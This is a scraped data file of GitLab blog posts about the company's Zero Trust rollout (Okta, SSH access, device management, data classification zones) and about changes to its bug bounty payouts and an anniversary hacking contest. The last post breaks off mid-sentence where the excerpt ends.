instructions](/handbook/business-technology/okta/okta-enduser-faq/) on Okta usage and try to communicate it to all team members as best we can, but we are impacting some users’ workflows. For example, if you sign in via Okta, you need to keep that tab open in your browser, otherwise your Okta session will end and you’ll find yourself repeatedly “MFAing” until you’re blue in the face. Many people are not used to working that way, and not having all SaaS apps working exactly the same doesn’t help. But overall, the time savings and security are great gains for ZTN and we are quite happy with the implementation.\n\n### SSH access\nAs I write this, we are getting ready to start the [Okta ASA](https://www.okta.com/products/advanced-server-access) rollout to Staging to give it a good test. Like SaaS, we expect a few hiccups here and there – especially since this is a new product for Okta, [released earlier this year](https://www.okta.com/blog/2019/04/advanced-server-access-and-infrastructure-identity/). And talk about workflow changes – if you thought browser-based application users were picky, command line SSH users are a bizarre bunch indeed. Command line junkies practically have their own religion around workflow and we’re introducing a change to that workflow. Yes, it is a minor change, but it already concerns me. Truthfully, because I am one of those oddball Linux users who lives on the command line and I tend to get fairly picky after a couple decades of being able to adjust and customize every aspect of my experience.\n\n### Camo proxy\nThis will seem like a weird one, but mitigating a security issue actually helped us out from a ZTN perspective. There was a security issue reported via our [HackerOne program](/handbook/security/security-engineering/application-security/runbooks/hackerone-process.html) that allowed for malicious users to gather IP addresses from unsuspecting victims via embedded image files. The solution was to use Camo proxy to resolve the [issue](https://gitlab.com/gitlab-org/gitlab-foss/issues/55115). The Camo proxy was widely deployed to ensure all possible links were protected and had the side benefit of ensuring communications going through the proxy were encrypted. Encrypting communications was one of the items we wanted as a part of ZTN and, as it turned out, we’d already done it.\n\n### A sound foundation\nThere are two things we want from our servers and containers and databases. First, we want them buttoned down tight and properly secured. All of these systems have robust controls, and we can perform all kinds of monitoring, but we have to do it at scale. Tightening security controls is especially important if you are using some of the Zero Trust-ish solutions out there to regulate access to these systems. We’re talking about automation of access provisioning, so we want to make sure that minimal access levels required for data stored on systems *remains* minimal access. This means no escalation of privileges due to configuration mistakes or security vulnerabilities. We also want to make sure that all services being offered up by these systems are as secure as possible against compromise, either locally or remotely.\n\nSecond, we want complete visibility into our infrastructure. If something goes awry with a vulnerability being disclosed that potentially impacts our systems or a security incident happens, we want to be able to quickly assess the state of the environment, ensure patches are installed, receive alerts based upon custom triggers to help monitor everything, and so on.\n\nWe are using [Tenable](https://www.tenable.com/products/tenable-io) (mainly for assessments) and Uptycs (mainly for monitoring and alerting) in our environment to help with this visibility. Both certainly handle the basics just fine, in fact Tenable has been quite up to the task. We are facing a few challenges with [Uptycs](https://www.uptycs.com) as we’d like to do more than what the product currently offers. This may not sound like traditional ZTN territory, but it is. It does no good to offer up state-of-the-art authentication and authorization to resources that are poorly maintained and monitored. Like everything else in our company, we face issues with scale – our infrastructure needs to grow and managing the security of that infrastructure must also scale well. Right now we can manage the security of our environment just fine. In fact, it is quite strong, but a lot of it relies on manual intervention which has scaling issues. We have a lot of hash marks in the “win” column with Tenable, but as we scale and expand we’re challenged by Uptycs. In the spirit of openness, we’ll keep you posted on how this progresses.\n\n### The log ride\nTo get a grip on all of this activity, we need to be able to grab all the logs, toss them into one place, and make sense out of them. Our goal is two-fold: we need to understand how our system is being used so we can fine-tune it and we need to be able to detect anomalous events that could signify potential breaches. All of our systems put out logs, and we’ve designed systems to monitor those logs. It is nice to automate alerts so as odd events occur, we’re immediately notified, and in some cases, issues are automatically opened for further triage. We’ve started down this path with deployment of several technologies, related to the [Logging Working Group](/company/team/structure/working-groups/logging/). We’re in the initial first steps, and we expect that logs generated from the various ZTN implementations will help improve the logging efforts, perhaps even propel it along quicker as we work out the kinks.\n\n## The Budget Issue\nA big ZTN question we get involves budget. After all, one company’s solution may involve a couple of small purchases and a large effort of tweaking and reconfiguring existing technology that is already deployed. Another company might have to make some major investments in new products just to get started. In other words, how do you budget for a solution when you don’t know exactly what that solution will look like?\n\nThis is probably one of those things a lot of organizations do not discuss, at least in any detail outside of “it’s expensive”. The idea of ZTN as a concept is an easy sell to most organizations because the benefits are so great. At the lofty bullet-point level on vendor slides, they often seem completely undeniable. But when you break down a concept into digestible and deployable components, you are often into interesting budget territory. Getting a department to buy into the concept is much easier than getting a department to alter their budget and purchase the XYZ product, deploy it, maintain it, and oh yeah please give the security department all of the logs. Of course this is a slight exaggeration to convey a point, but it is more often on the mark than not. We simply couldn’t fully budget for most of this because we didn’t know what we were going to be deploying until we found a particular solution.\n\nIn this case we have to be able to show an [ROI](https://en.wikipedia.org/wiki/Return_on_investment), which means we need to help a department understand the benefits and actually show an improvement to that department’s bottom line. For example, Okta has allowed us to change some onboarding and offboarding processes from days into minutes – and it's a massive timesaver. The push for Okta ASA is because our Infrastructure department saw the gains realized from our Okta rollout, and asked for something similar. Regardless of which department’s budget this could go against, it has to be sold to someone internally. Showing an ROI that clearly states we could financially benefit in one or more areas is really the only way to go about it. Showing the benefits is critical when you are searching for solutions to problems with no idea which solution will work.\n\n## Advice\nSince a lot of people ask for advice on ZTN in general, I’d like to share some impressions from our experience. Here are some major things that really have helped us.\n\n### Break down your needs into simple components\nYou do this by defining the problem end-to-end. For us, we could break it down into user identification and authentication, device identification and authorization, data classification, and policy enforcement. Each part was further broken down into smaller pieces – which includes a lot of what we covered in previous blog posts. This deconstruction helped us understand all of the areas we needed to work with.\n\n### Look at areas of winning\nIf a deployed technology is already solving part of the problem, can it be expanded? If it can’t, why not? Where are the gaps? List those gaps and use them to identify possible solutions during the review. We covered this topic in detail in a previous blog post, [ZTN implementation challenges ](/blog/zero-trust-at-gitlab-implementation-challenges/).\n\n### Ignore the vendor “spin”\nThere are vendors that sell solutions where they claim to be solving ZTN. In my ancient past, I worked for a company that sold (among other things) system administration tools. One day our boss handed us a list of compliance guidelines for three different standards. We were to go through each bullet item for each standard, point out the system administrative tools and the various system checks in our products that lined up with each bullet item, and write them down. This process took a few days, and by the end of the week each compliance standard had a list of checks. The product team grouped these checks together, and just like that we were a compliance company. Now the product line was actually quite good and robust which made this fairly easily, but the pivot of the company to being compliance-focused took longer for that marketing team to print up flyers than it did for the tech part. Yes, we were incomplete – we weren’t asked to write additional checks, we were asked to just use existing checks. But we literally were ready in less than a week with something we could call compliance.\n\nMy point here is that I often get the feeling that ZTN vendors do the same thing. They looked over their existing product line, figured out what they could even remotely claim as being a part of a “Zero Trust” solution, and overnight became a ZTN solutions provider. Of course, if your own organization’s world view on what ZTN is lines up with a particular vendor, great! Buy it. But, for GitLab, we had to break down what we wanted the various components of our technology and data to do and align them with our own ideas of ZTN, refine our model, and then go find vendors that did extremely specific things. For example, we’ve approached Okta with the breakdowns we are trying to solve – and they have products that solve them. For the most part we’ve ignored the whole “ZTN packaged solutions” approach and went after the core of what their products do, and we’re solving our problems as a result.\n\n## Conclusion\nWe’re getting there. We have a lot of wins, and a number of interesting challenges. Every once in a while we will post a new blog to keep you current on our security saga with Zero Trust, and hopefully you can learn from our examples – including our challenges – and help make your systems, data, and users as secure as possible. We hope you’ll follow along and, if you’ve got a ZTN viewpoint to share, we invite you to comment below.\n\n*Special shout-out to the entire security team for their input on this blog series.*\n\nPhoto by [Puria Berenji](https://unsplash.com/@ipuriagram?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText). \n{: .note}\n\n",[675,14,2132],{"slug":4816,"featured":6,"template":677},"zero-trust-at-gitlab-where-do-we-go-from-here","content:en-us:blog:zero-trust-at-gitlab-where-do-we-go-from-here.yml","Zero Trust At Gitlab Where Do We Go From Here","en-us/blog/zero-trust-at-gitlab-where-do-we-go-from-here.yml","en-us/blog/zero-trust-at-gitlab-where-do-we-go-from-here",{"_path":4822,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4823,"content":4829,"config":4834,"_id":4836,"_type":16,"title":4837,"_source":17,"_file":4838,"_stem":4839,"_extension":20},"/en-us/blog/zero-trust-at-gitlab-implementation-challenges",{"title":4824,"description":4825,"ogTitle":4824,"ogDescription":4825,"noIndex":6,"ogImage":4826,"ogUrl":4827,"ogSiteName":767,"ogType":768,"canonicalUrls":4827,"schema":4828},"Zero Trust at GitLab: Implementation challenges (and a few solutions)","Implementing change in an already working environment always brings its fair share of growing pains. What happens when that change is Zero Trust?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665982/Blog/Hero%20Images/jpvalery-9pLx0sLli4unsplash.jpg","https://about.gitlab.com/blog/zero-trust-at-gitlab-implementation-challenges","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Zero Trust at GitLab: Implementation challenges (and a few solutions)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2019-10-02\",\n      }",{"title":4824,"description":4825,"authors":4830,"heroImage":4826,"date":4831,"body":4832,"category":14,"tags":4833},[1909],"2019-10-02","\n\nUpdate: This is part 5 of an ongoing [Zero Trust series](/blog/tags.html#zero-trust). See our next and final post in this series: [Zero Trust at GitLab: Where do we go from here?](/blog/zero-trust-at-gitlab-where-do-we-go-from-here/).\n{: .alert .alert-info .note}\n\n\n*Zero Trust is the practice of shifting access control from the network perimeter to the assets, individuals, and the respective endpoints. For GitLab, Zero Trust means that all users and devices trying to access an endpoint or asset within our GitLab environment will need to authenticate and be authorized. This is part five of a multi-part series.*\n\nCheck out these other posts to get up to speed:\n* Part one: [The evolution of Zero Trust](/blog/evolution-of-zero-trust/)\n* Part two: [Zero Trust at GitLab: Problems, goals, and coming challenges](/blog/zero-trust-at-gitlab-problems-goals-challenges)\n* Part three: [Zero Trust at GitLab: The data classification and infrastructure challenge](/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge/)\n* Part four: [Zero Trust at GitLab: Mitigating challenges with data zones and authentication scoring](/blog/zero-trust-at-gitlab-data-zones-and-authentication-scoring/)\n\nAs with most things at GitLab, we’re taking a very open approach to implementing Zero Trust. We’ve tackled everything from the evolution of Zero Trust to the expected challenges and our planned work-arounds.  However, maybe we haven’t yet addressed a ZTN related topic, question or consideration that you’re interested in discussing.\n\nWe’ve been discussing how Zero Trust Networking (ZTN) presents GitLab with a series of challenges, and have suggested a few mitigation strategies. In order to fully understand some of these challenges and how to approach them we’ll need to drop a bit deeper into the details.\n\n## Immediate Challenges\n\nThe first major hurdle that comes with discussing Zero Trust Networking (ZTN) is a classic one: Getting the plan implemented. Any security professional who has tried to implement changes to an already working environment has experienced these growing pains. GitLab is an extremely forward-thinking organization and we're constantly implementing massive changes to our software. But this still doesn’t mean everyone welcomes every change with open arms.\n\nCurrently, things work. We have an environment that is remarkably stable and pretty secure despite all the changes. When the security department starts rumbling about certain types of changes, there is resistance. So we have to look at things a bit differently to get some of our ideas implemented. How do we do this?\n\n## Real Problems\nWe’ve previously discussed areas where we anticipated problems, but what we really need to do is look at existing problems and work out solutions. If we can get some hash marks in the “win” column for ZTN, it helps prove that ZTN is a rational approach for security. If we can solve some pressing problems along the way (or make older, less robust solutions better) it improves the general appeal for ZTN. It is one thing to expect resistance, it is another to encounter it. Security changes need to make things easier for the end-user, otherwise, the end-user will fight and try to bypass what are perceived as roadblocks to productivity. We can’t make every single person happy, but we can try to make as many users as happy as possible while making every single person a bit safer. That said, we encountered a bit of resistance in a few areas.\n\n### User identity\nIn the past, we’ve had issues with provisioning user accounts – we’d need to get a team member set up in all of the systems as quickly as possible. When the entire company had 35 people this was not that great of a burden. But right now the Security Department alone has 35+ people (and counting, we’re [hiring](/jobs/), hint hint) and we’ve had times where 35 people started at GitLab in a single week.\n\nWe’re growing! Any time we make changes to the process of user-identity, we have to keep in mind that most of the departments are more concerned with provisioning new users than actual user identity. Their main goal is to get new team members productive as quickly as possible, so access to systems immediately is crucial. Ideally, any solution for user-identity should work seamlessly with the entire user lifecycle – provisioning through deprovisioning – without disruption to company productivity.\n\n### Device management\nWe have issues with both device identification and device management. We need to strike a balance between ensuring team members have access to the tools they need to perform their jobs, and simply allowing team members to use whatever computing device they want to complete tasks and maintain productivity. Interestingly, this is one area where GitLab’s distinctive background as a company has created a rather unique challenge. We started as an open source project and only in the last couple of years have we been purchasing laptops for team members (for years it was [BYOD](https://en.wikipedia.org/wiki/Bring_your_own_device)). To help in this area, we’ve [standardized](/handbook/business-technology/team-member-enablement/onboarding-access-requests/#laptops) what the company will purchase for new team members (and older team members are certainly eligible for new systems). Having a standard platform is great. Our issue here is both a cultural one as well as a practical one.\n\nSince our roots are in BYOD, we cannot simply turn off BYOD overnight. In fact, I see a lot of benefits to BYOD in certain scenarios – typing up blog posts on a tablet in a coffee shop seems fine, code commits to critical systems are not. Anyone can contribute – that is a cultural core belief and our [mission](/company/mission/#mission) at GitLab. We have team members as well as non-employees that contribute to our code base, our handbook, and everything else we do. We don’t have some of the normal corporate standardization that a typical brick-and-mortar company might have, such as using the corporate-issued-laptop only with asset tracking and patch management built-in, forbidding the use of BYOD, and so on. We do have policies in place, but they are not proactively enforced because we lack the asset management solutions at the moment to do so at the level we desire.\n\nAs a security professional, I am thrilled we have standardized on Linux as our main infrastructure platform, Macs for team members, and engineering team members have a choice of Mac or Linux for the work laptop. No Microsoft Windows.\n\nHowever, trying to find a solution for asset management for our chosen platforms is a challenge. Most vendor solutions are Windows and Mac or Windows and Linux. There are some vendor solutions that support both Mac and Linux, but are often the more “Windows and Mac, and well, sort of Linux if you only run this ancient binary that dates back to an acquisition three years ago, I think Alice is still here from that acquisi- no wait she left” flavor.\n\nI haven’t even discussed phones. These are commonly used for various methods of multi-factor authentication, although we don’t currently have a good way to ensure the phones used for MFA are secured and fully patched. And many team members access work applications on their phones – email, Slack, Zoom, and Expensify, to name a few.\n\n### Sprawling infrastructure\nTo complicate things we have hundreds of servers/containers/instances on numerous cloud offerings spread around the world, and dozens of cloud-based “Something-or-other as a Service” offerings we use as a company. While we don’t administer all systems via [SSH](https://en.wikipedia.org/wiki/Secure_Shell) ([Chef](https://www.chef.io/) and [Knife](https://docs.chef.io/knife.html) are used heavily in our environment) there are still challenges with provisioning, and that we’re currently unable to enforce two factor for SSH. Yes, we can use Yubikeys to store keys and a few other tricks for SSH access, but getting things set up for team members to administer these systems is daunting.\n\n## Wins\nA lot of our problems with identity management at GitLab were solved by [implementing Okta](/handbook/business-technology/okta/#how-is-gitlab-using-okta), and entire departments were thrilled. Provisioning steps that took days had been reduced to minutes. [Okta](https://en.wikipedia.org/wiki/Okta_(identity_management)) has a number of features that supported our vision of ZTN, so if we can solve some ZTN problems with Okta, we’re doing it with a proven solution that people already use. If we can solve a problem with Okta it will be a much easier “sell” to the various impacted departments, and since we can implement a lot of our ZTN model with Okta, it is a win-win situation.\n\nWhile the Security Team felt that a number of security problems were solved with Okta, this was not how the product was “sold” to the rest of the company. The ZTN benefits were pitched as business solutions to existing business problems to the various business and application owners in GitLab – meeting provisioning and compliance needs. It was not sold as a security solution, and this approach worked well.\n\nOur use of Chef along with Knife has been a massive help with infrastructure changes, and has simplified a lot of the usual drudgery associated with system administration. For example, pushing code changes out to multiple systems is much simpler.\n\n_Can we apply any of the wins to our existing challenges?_\n\n### Enforcing Okta Everywhere\n\nBy trying to get the numerous SaaS solutions we use to only be accessed via Okta, we are looking to solve 70% (a WAG at best) of our issues in the SaaS area. This does not address everything. Some of the access to these systems requires not just traditional web-based access but API access as well. Not all systems integrate with Okta, or API access is completely separate, but this approach is working so far and things have gone reasonably well where Okta is implemented.\n\n### Linux-based Infrastructure\nIn the sprawling [infrastructure](/handbook/engineering/infrastructure/) arena, our greatest challenge is that some of our most critical assets are administered via SSH. As a result, we have issues with provisioning, deprovisioning, and enforcing other aspects of authentication that we take for granted with web-based assets. We are seriously looking at leveraging Okta and their [Advanced Server Access](https://www.okta.com/products/advanced-server-access/) (ASA) product, which looks like we could integrate SSH accounts into the Okta mix. Using ASA could allow for provisioning of a new administrator via group assignment. Since we get multi-factor, enforcement of GeoIP, and a few other bells and whistles via Okta, by using ASA we could resolve one of the hardest problems we currently face. This has the added benefit of making the compliance and auditing folk happy, to say nothing of just general time-savings.\n\nWhile ASA (and any similar product) requires we install software on the server side, we do have Chef and Knife to help with deployment. Rollout could happen quickly. Our main issues here would be performance impact and client software distribution, although a regulated testing period and a decent rollout plan could help solve those issues.\n\n### All those devices\nThis one is ugly. While moving more and more systems into Okta helps, it also emphasizes our biggest weakness – device management. After importing Okta logs into other systems for analysis, we can see what our team members are using to access GitLab assets. The good news is the majority of team members are using company-issued laptops, although we are not sure what patch level or configurations are in place. We do have company standards, but we do not have the level of control we’d like to ensure these standards are met. For example, we’d like to ensure that all team member systems accessing critical information ([RED data](/handbook/security/data-classification-standard.html#data-classification-levels)) are doing it from a company-issued system that is up-to-date on patches and is properly configured. We’d prefer to do it at the time of authentication, and not after the fact via log mining.\n\nPhones are already a touchy subject, since this is the main BYOD device allowed on most corporate networks. We use Expensify, and I cannot imagine using it without the phone app even though it is possible. I love using Okta Verify on my phone, and approving push multi-factor from my Apple Watch. I know Okta has some potential solutions, but unless there is a solution from any vendor that is BYOD friendly instead of full takeover MDM, I can’t imagine successfully selling it to fellow team members.\n\nThe main issue here is that device management is an important part of ZTN, and the tools to make this happen at the quality level we’d like don’t seem to exist. As stated earlier, we have a mixture of Mac and Linux desktops so we’d like one solution to make this happen, not two.\n\n## Conclusion\nWe did not intend for this blog post to be an Okta commercial, but it does happen to meet our needs for part of this whole ZTN equation. We’re still searching for a solution for asset management. I wish I could claim this was not a commercial for an asset management solution, because that is quite the challenge.\n\nWhile we still have a long way to go, we have a better handle on direction. Our points of resistance – both from team members impacted by change and technological limits based upon our environment – are showing where we need to focus but also how we need to approach things. Finding cultural and technological areas where we are doing well are huge strengths we can leverage, and by focusing our efforts on those areas, more of our environment benefits from Zero Trust.\n\nIf you’re implementing ZTN and have similar (or different) problems, I’d love to discuss. If you’ve got thoughts or a question, comment below, we’d love to hear from you.\n\n\n*Special shout-out to the entire security team for their input on this blog series.*\n\nPhoto by [Jp Valery](https://unsplash.com/@jpvalery?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n\n",[675,14,2132],{"slug":4835,"featured":6,"template":677},"zero-trust-at-gitlab-implementation-challenges","content:en-us:blog:zero-trust-at-gitlab-implementation-challenges.yml","Zero Trust At Gitlab Implementation Challenges","en-us/blog/zero-trust-at-gitlab-implementation-challenges.yml","en-us/blog/zero-trust-at-gitlab-implementation-challenges",{"_path":4841,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4842,"content":4848,"config":4854,"_id":4856,"_type":16,"title":4857,"_source":17,"_file":4858,"_stem":4859,"_extension":20},"/en-us/blog/reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest",{"title":4843,"description":4844,"ogTitle":4843,"ogDescription":4844,"noIndex":6,"ogImage":4845,"ogUrl":4846,"ogSiteName":767,"ogType":768,"canonicalUrls":4846,"schema":4847},"GitLab speeds up bug bounty payouts, launches new contest","You talked. We listened. Quicker bug bounty payouts and we're holding a contest for our hackers!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678574/Blog/Hero%20Images/art-backlight-blur-249203.jpg","https://about.gitlab.com/blog/reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we're reducing the time to payout and launching a bug bounty anniversary contest\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dennis Appelt\"}],\n        \"datePublished\": \"2019-09-24\",\n      }",{"title":4849,"description":4844,"authors":4850,"heroImage":4845,"date":4851,"body":4852,"category":14,"tags":4853},"Why we're reducing the time to payout and launching a bug bounty anniversary contest",[2342],"2019-09-24","\nIn just nine months since [going public with our bug bounty program](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/), our reporter community has made substantial contributions to the security and continued success of GitLab. Since going public, our community of external security researchers submitted 1016 reports and we paid out [$395,000 in bounties](https://hackerone.com/gitlab).\n\nWe are very grateful for your contributions and have an open line for feedback regarding our bug bounty program.\n\n## You talked, we listened\n\nIn fact, when we asked you how we could strengthen our bug bounty program, one of the top suggestions was to reduce the time to bounty payout. We’re sure both professional and casual bug bounty hunters enjoy receiving a paycheck earlier than later. So, we took your feedback and sat down to improve our program.\n\nGoing forward, we will pay out a part of the bounty right at the moment when a report is triaged, which is, on average, five days after the report is submitted. That means cash in your pocket faster. Reports with severity of medium, high, or critical will be awarded $1000 when the report is triaged. The remainder will be paid when the report is resolved.\n\nAt GitLab, we believe in the value of [iteration](https://handbook.gitlab.com/handbook/values/#iteration). Paying out a partial bounty when the report is triaged is the first in a series of steps to speed up bounty payouts. We have many more ideas on how we can speed up bounty payouts and we’d like to move toward this with our community. If you have feedback regarding faster bounty payouts – or other areas where we can improve or grow – please share it with us! It’s this continual feedback loop and collaboration that will make us all successful.\n\n## Repeat reporters\nAnother key element that strengthens our program are our repeat reporters. We went to the 2019 HackerOne H1-702 event where we met with our top three hackers (since our bug bounty program launch through June 2019) to recognize their accomplishments and thank them for their impact on our program.\n\n![ngalog](https://about.gitlab.com/images/blogimages/h1-sept24/ngalog1.jpeg){: .shadow.small.center}\nOur AppSec team with [ngalog](https://hackerone.com/ngalog) at HackerOne’s H1-702 event.\n{: .note.text-center}\n\n![jobert](https://about.gitlab.com/images/blogimages/h1-sept24/Jobert1.jpeg){: .shadow.small.center}\nOur AppSec team with [jobert](https://hackerone.com/jobert) at HackerOne’s H1-702 event.\n{: .note.text-center}\n\n![fransrosen](https://about.gitlab.com/images/blogimages/h1-sept24/fransrosen1.jpeg){: .shadow.small.center}\nOur AppSec team with [fransrosen](https://hackerone.com/fransrosen) at HackerOne’s H1-702 event.\n{: .note.text-center}\n\nGitLab’s mission is, [everyone can contribute](/company/mission/#mission). Not just the most experienced hackers, and not just the reporters finding the greatest quantity of bugs or even the most impactful bugs, but all of the reporters in between. Your findings make us stronger.\n\n**So, with that in mind, let us introduce our...**\n\n## \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-birthday-cake\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  One-year anniversary hacking contest \u003Ci class=\"fab fa-gitlab fa-fw\" style=\"color:rgb(107,79,187); font-size:.99em\" aria-hidden=\"true\">\u003C/i>  \u003Ci class=\"fas fa-bug\" style=\"color:rgb(252,109,38); font-size:.99em\" aria-hidden=\"true\">\u003C/i>\n{: .text-center}\n\nOur [one year anniversary](/blog/gitlab-hackerone-bug-bounty-program-is-public-today/) of taking our bug bounty program public is right around the corner. To celebrate a very successful first year, we want to recognize the outstanding contributions from our reporter community with a little something special.\n\n**We are running a community hacking contest starting October 1 (12 am ET) until November 30, 2019 (12 pm ET).** The top contributor in the following categories will receive a special reward:\n\n\u003Ci class=\"fas fa-address-card fa-fw\" style=\"color:rgb(46,46,46); font-size:.90em\" aria-hidden=\"true\">\u003C/i> **Most reputation points from submissions to our program.** This category is simple. Collect the most reputation points from submissions to our program and win!\n{: #id-card-black}\n\n\u003Ci class=\"far fa-address-card fa-fw\" style=\"color:rgb(56,13,117); font-size:.90em\" aria-hidden=\"true\">\u003C/i> **Most reputations points *collected by a reporter new to our program***. Getting started with a new bug bounty program is difficult. We want to recognize the effort you put in.\n{: #id-card-purple}\n\n\u003Ci class=\"fas fa-pencil-alt fa-fw\" style=\"color:rgb(219,58,33); font-size:.90em\" aria-hidden=\"true\">\u003C/i> **Best written report.** A well-written report goes a long way to demonstrate impact and to help us reproduce the problem.\n{: #id-pencil}\n\n\u003Ci class=\"far fa-lightbulb fa-fw\" style=\"color:rgb(252,161,33); font-size:.90em\" aria-hidden=\"true\">\u003C/i> **Most innovative report.** Sometimes reporters demonstrate great out-of-the-box thinking. For example, some reports group several low-severity findings into a high-impact vulnerability. We appreciate this creativity.\n{: #id-lightbulb}\n\n\u003Ci class=\"fas fa-rocket fa-fw\" style=\"color:rgb(252,109,38); font-size:.90em\" aria-hidden=\"true\">\u003C/i> **Most impactful finding.** At the end of the day, an impactful discovery is what we all strive for.\n{: #id-rocket}\n\n**The winners will be announced on December 12 via [GitLab blog](/blog/) post.** A contributor can win at most one category. Of course, regular bounties still apply to any of your findings. *Here’s a hint on a little something extra that the winners will get:*\n\n{::options parse_block_html=\"true\" /}\n**What’s orange and purple and goes hackety, hack?**\n{: .text-center}\n\nHappy hacking!\n\nPhoto by [Max DeRoin](https://www.pexels.com/@maxderoin?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/close-up-of-computer-keyboard-249203/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n",[267,14,675,899],{"slug":4855,"featured":6,"template":677},"reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest","content:en-us:blog:reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest.yml","Reducing Time To Payout And Launching A Bug Bounty Anniversary Contest","en-us/blog/reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest.yml","en-us/blog/reducing-time-to-payout-and-launching-a-bug-bounty-anniversary-contest",{"_path":4861,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4862,"content":4868,"config":4874,"_id":4876,"_type":16,"title":4877,"_source":17,"_file":4878,"_stem":4879,"_extension":20},"/en-us/blog/zero-trust-at-gitlab-data-zones-and-authentication-scoring",{"title":4863,"description":4864,"ogTitle":4863,"ogDescription":4864,"noIndex":6,"ogImage":4865,"ogUrl":4866,"ogSiteName":767,"ogType":768,"canonicalUrls":4866,"schema":4867},"Zero Trust at GitLab: Data zones & authentication scoring","How we're defining and aligning data zones in our Zero Trust implementation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680808/Blog/Hero%20Images/fabio-oyXis2kALVg-unsplash.png","https://about.gitlab.com/blog/zero-trust-at-gitlab-data-zones-and-authentication-scoring","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Zero Trust at GitLab: Mitigating challenges with data zones and authentication scoring\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2019-09-06\",\n      }",{"title":4869,"description":4864,"authors":4870,"heroImage":4865,"date":4871,"body":4872,"category":14,"tags":4873},"Zero Trust at GitLab: Mitigating challenges with data zones and authentication scoring",[1909],"2019-09-06","\n\nUpdate: This is part 4 of an ongoing [Zero Trust series](/blog/tags.html#zero-trust). See our next post: [Zero Trust at GitLab: Implementation challenges (and a few solutions)](/blog/zero-trust-at-gitlab-implementation-challenges/).\n{: .alert .alert-info .note}\n\n\nZero Trust is the practice of shifting access control from the perimeter of the organization to the individuals, the assets, and the endpoints. For GitLab, Zero Trust means that all devices trying to access an endpoint or asset within our GitLab environment will need to authenticate and be authorized. This is part four of a multi-part series.\n\n* Part one: [The evolution of Zero Trust](/blog/evolution-of-zero-trust/)\n* Part two: [Zero Trust at GitLab: problems, goals, and coming challenges](/blog/zero-trust-at-gitlab-problems-goals-challenges/)\n* Part three: [Zero Trust at GitLab: The data classification and infrastructure challenge](/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge/)\n\n\nIn previous blog posts we’ve covered both the history of the whole Zero Trust Networking (ZTN) scenario, and some of the areas where we expect challenges to successful implementation. In this post we’ll discuss the concept of “data zones” as well as an “authentication scoring system.” The general concept of data zones is not new; it is an established part of a layered security approach where zones of trust are created around groups of data, usually on the same network segment or system. A few things to note:\n* Our data zone concept simply groups the data according to access controls available for a system when granular control is not possible.\n* Our authentication scoring system is intended to augment our ability to allow access.\n* We’ve set up all of our access based upon the team member’s identity and job description, but it should also include information about the device and even the geographic location of the team member (as we shall see later).\n\n## Defining data zones\nWe have previously defined the [classification of data](/handbook/security/data-classification-standard.html) to include RED, ORANGE, YELLOW, and GREEN. We’ve also touched on the concept of [moving data either via automated or manual means, and data being transformed](/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge/). Where the data is stored should reflect the classification.\n\nThe immediate challenge with regards to data access is when data that is considered RED or ORANGE is stored on a system that has limited access controls, and granting granular access isn’t possible. In other words, we need to define zones where multiple classes of data may reside on a system that is unable to provide separation of access controls based upon our own data classification. The most common scenario will be either a legacy system or a system developed outside of our control, such as a SaaS company offering.\n\nWe’ve defined four zones that match the data classifications, and named them after the colors of the data classification:\n\n* RED ZONE for RED and lower data\n* ORANGE ZONE for ORANGE and lower data\n* YELLOW ZONE for YELLOW and lower data\n* GREEN ZONE for GREEN (this may not be needed as it is the lowest classification)\n\nIn general, the zones apply to data at rest. Data in transit, either transitioning in system memory between subsystems or transferred over a network between systems, defaults to RED ZONE since access at that level is considered critical. Therefore the ability to access systems at a low enough level to examine RAM or monitoring calls between systems is definitely considered the highest level of restriction, and data moving between systems is subject to the highest levels of encryption.\n\n### Here are the basic rules for a zone:\n\n* A zone can contain its own “color” of data or lower, not higher.\n* A zone will not allow access to a lower “color” of data within its boundaries without authorization to access the highest designation of “color” for that zone.\n* The boundaries of a zone are defined by the access controls specific to that zone.\n\nTo illustrate, if a YELLOW ZONE is set up to contain YELLOW data, it cannot contain RED or ORANGE. And while it can contain GREEN data, team members with access to GREEN cannot access that data while it resides in the YELLOW ZONE. **In essence, each zone where data resides must have controls that consider what data they might possibly contain.**\n\nTo explain this further, let’s say that there is a database that contains ORANGE and YELLOW data within it, but the controls in place are not granular – access to the database means access to all of the data contained within it. Therefore this database would be considered ORANGE ZONE, and those with access to only YELLOW data could not be allowed access that data in this database because it is in ORANGE ZONE.\n\n## Authentication scoring\nThere will be a scoring system for access to data, where a team member is ranked. This isn’t so much an actual system for points, but more of a reference guide on what it takes 